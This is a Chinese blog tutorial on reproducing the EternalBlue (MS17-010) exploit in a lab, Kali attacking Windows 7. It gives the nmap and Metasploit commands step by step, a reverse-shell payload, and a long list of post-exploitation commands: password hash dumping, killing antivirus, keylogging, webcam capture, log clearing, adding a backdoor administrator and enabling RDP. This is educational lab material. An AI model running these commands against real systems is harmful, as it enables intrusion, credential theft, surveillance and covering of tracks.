永恒之蓝MS17-010漏洞复现

Nmap使用详解-CSDN博客

【渗透测试框架】Metasploit-Framework(MSF)安装与使用_msf安装-CSDN博客

关于nmap的使用

nmap是用来探测计算机网络上的主机和服务的一种安全扫描器。为了绘制网络拓扑图,Nmap的发送特制的数据包到目标主机,然后对返回数据包进行分析。Nmap是一款枚举和测试网络的强大工具。nmap被设计用来快速扫描大型网络,包括主机探测与发现、开放的端口情况、操作系统与应用服务指纹识别、WAF识别及常见安全漏洞。它的图形化界面是Zenmap,分布式框架为DNmap。

nmap的功能

nmap主要有四个功能

主机探测:探测网络上的主机,如列出响应TCP和ICMP请求、ICMP请求、开放特别端口的主机。

端口扫描:探测目标主机所开放的端口。

版本检测:探测目标主机的网络服务,判断其服务名称及版本号。

支持探测脚本的编写:使用Nmap的脚本引擎(NSE)和Lua编程语言。

 kali里是自带nmap的,打开终端输入nmap可查看nmap的版本信息

目前只使用到了端口扫描这个功能,其他功能还未使用到

关于msfconsole

Metasploit框架(Metasploit Framework,MSF)是一个开源工具,旨在方便渗透测试,它是由Ruby程序语言编写的模板化框架,具有很好的扩展性,便于渗透测试人员开发、使用定制的工具模板。

而Msfconsole是Metasploit框架的主要控制台界面。它提供了一个命令行界面来与Metasploit框架进行交互,并允许用户执行各种渗透测试任务。Msfconsole是Metasploit的核心组件之一,它充当了一个交互式命令行和一个脚本执行器的角色。Msfconsole支持自动化和交互式操作,让用户快速地执行各种安全测试任务。用户可以使用Msfconsole执行扫描、漏洞利用、后渗透操作等任务,而无需深入了解框架的内部工作原理。Msfconsole提供了丰富的命令和选项,可以帮助用户快速完成任务,并提供了各种插件和模块,以扩展其功能。另一个Msfconsole的优点是,它是一个开源的渗透测试框架,因此它具有强大的社区支持和更新。这意味着Msfconsole的用户可以受益于全球各地的安全专业人士的贡献,以及最新的漏洞利用等方面的更新。此外,Msfconsole还具有良好的文档支持,因此用户可以轻松地找到有关特定命令或选项的详细信息。总之,Msfconsole是Metasploit框架不可或缺的组件之一,为用户提供了一个强大而灵活的安全测试工具。如果您是一个渗透测试人员或安全研究人员,Msfconsole是您必备的工具之一。它不仅可以提高您的工作效率,还可以让您更好地了解渗透测试和漏洞利用的基本原理和概念。

永恒之蓝ms17-010复现

关于永恒之蓝

永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。

永恒之蓝是在window的SMB服务处理SMB v1请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任意代码,通过永恒之蓝漏洞会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

目前已知受影响的 Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。

复现准备

攻击机:kali(192.168.20.128)

靶机:win7(192.168.20.129)

要确保win7的防火墙已经关闭,并且他们之间能够互相ping的通

开始复现

我们使用kali的nmap对目标主机进行端口扫描

nmap 192.168.20.129

我们可以看到目标主机的端口信息,其中可以看到,445端口是打开的,我们需要使用到445端口,对目标主机进行攻击

接下来就可以开始进行攻击了,使用msfconsole框架,输入

msfconsole

 打开msfconsole模板

 搜索永恒之蓝漏洞,输入

search ms17-010

 其中,我们主要使用到两个

 0  exploit/windows/smb/ms17_010_eternalblue       永恒之蓝的攻击代码

3  auxiliary/scanner/smb/smb_ms17_010        永恒之蓝扫描模块,探测主机是否存在MS17-010漏洞。

我们先使用3进行扫描,输入

use 3 或 use auxiliary/scanner/smb/smb_ms17_010

进入之后,我们查看一下使用模块需要配置的参数

show options

 required里选项为yes的所对应current setting里需要填写,我们发现只有rhosts参数没有填写, rhosts参数是要探测主机的ip或ip范围,那我们设置目标主机的IP:

set rhosts 192.168.20.129

然后再次查看配置参数

show options

 

 可以看见rhosts我们已经设置好了,那接下来我们就可以开始扫描

run

 扫描成功,他这儿显示:主机很可能会被MS17-010攻击

接下来我们需要使用模块0进行攻击

use 0   或  use exploit/windows/smb/ms17_010_eternalblue

查看这个漏洞的信息

info

 。。。。我也看不懂

查看该攻击模块针对哪些特定操作系统版本、语言版本的系统

show targets

这儿MSF会自动帮我们判断目标操作系统的版本和语言(利用目标系统的指纹特征),但有些其他的漏洞模块对操作系统的语言和版本要求的很严,比如MS08_067,这样就要我们指定目标系统的版本。

接下来我们设置攻击载荷,攻击载荷是我们期望在目标系统在被渗透攻击之后完成的实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令。

查看这个漏洞利用模块下所有可用的payload

show payloads

 这儿我们的默认攻击载荷是windows/x64/meterpreter/reverse_tcp

如果要设置的话

set payload XXXXX

然后查看参数配置

show options

还是和之前一样,设置我们靶机的ip

set rhosts 192.168.20.129

再次查看参数配置

show options

 

 可以看到下面的lhost,这儿就是我们攻击机(kali)的IP地址:192.168.20.128

然后开始攻击

exploit 或 run

 这样就攻击成功了,我们开启了一个reverse TCP监听器来监听本地的 4444 端口,即攻击者的本地主机地址(LHOST)和端口号(LPORT)。

渗透操作:

接下来可以对目标主机进行操作:

在meterpreter > 中我们可以使用以下的命令来实现对目标的操作:
sysinfo             #查看目标主机系统信息
run scraper         #查看目标主机详细信息
hashdump        #导出密码的哈希
load kiwi           #加载
ps                  #查看目标主机进程信息
pwd                 #查看目标当前目录(windows)
getlwd              #查看目标当前目录(Linux)
search -f *.jsp -d e:\                #搜索E盘中所有以.jsp为后缀的文件
download  e:\test.txt  /root          #将目标机的e:\test.txt文件下载到/root目录下
upload    /root/test.txt d:\test      #将/root/test.txt上传到目标机的 d:\test\ 目录下getpid              #查看当前Meterpreter Shell的进程
PIDmigrate 1384     #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime            #查看主机运行时间
getuid              #查看获取的当前权限
getsystem           #提权
run  killav         #关闭杀毒软件
screenshot          #截图
webcam_list         #查看目标主机的摄像头
webcam_snap         #拍照
webcam_stream       #开视频
execute  参数  -f 可执行文件   #执行可执行程序
run getgui -u hack -p 123    #创建hack用户,密码为123
run getgui -e                #开启远程桌面
keyscan_start                #开启键盘记录功能
keyscan_dump                 #显示捕捉到的键盘记录信息
keyscan_stop                 #停止键盘记录功能
uictl  disable  keyboard     #禁止目标使用键盘
uictl  enable   keyboard     #允许目标使用键盘
uictl  disable  mouse        #禁止目标使用鼠标
uictl  enable   mouse        #允许目标使用鼠标
load                         #使用扩展库
run                             #使用扩展库
clearev                       #清除日志

 查看目标主机系统信息

sysinfo

查看目标主机详细信息

run scraper

查看用户身份

getuid

这儿用户身份为: NT AUTHORITY\SYSTEM,这个也就是Windows的系统权限

获取shell权限

shell

进入shell控制台后我们可以进行很多操作,比如:

再目标主机上创建一个用户 名为:xpp 密码:123

net user xpp 123 /add

我们再试试让这个用户获得更大的权限:让xpp加入本地管理员组中

net localgroup administrators xpp /add

再查看本地用户

net user

 可以看见,我们成功创建用户xpp了,这儿出现了乱码,我们输入chcp 65001解决乱码问题,那再看看管理员呗

net localgroup administrators

看见xpp成功的成为了本地管理员

退出shell控制台

exit

开启远程桌面

我们要运用getuid脚本开启目标主机远程桌面

run getgui -e

其次我们需要确保3389端口是打开的,如果3389端口未打开,输入

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

然后输入 netstat -ano 查看端口,发现3389端口打开了,接着打开另外一个kali终端,输入

rdesktop 192.168.20.129 连接成功

永恒之蓝结束

  • 23
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值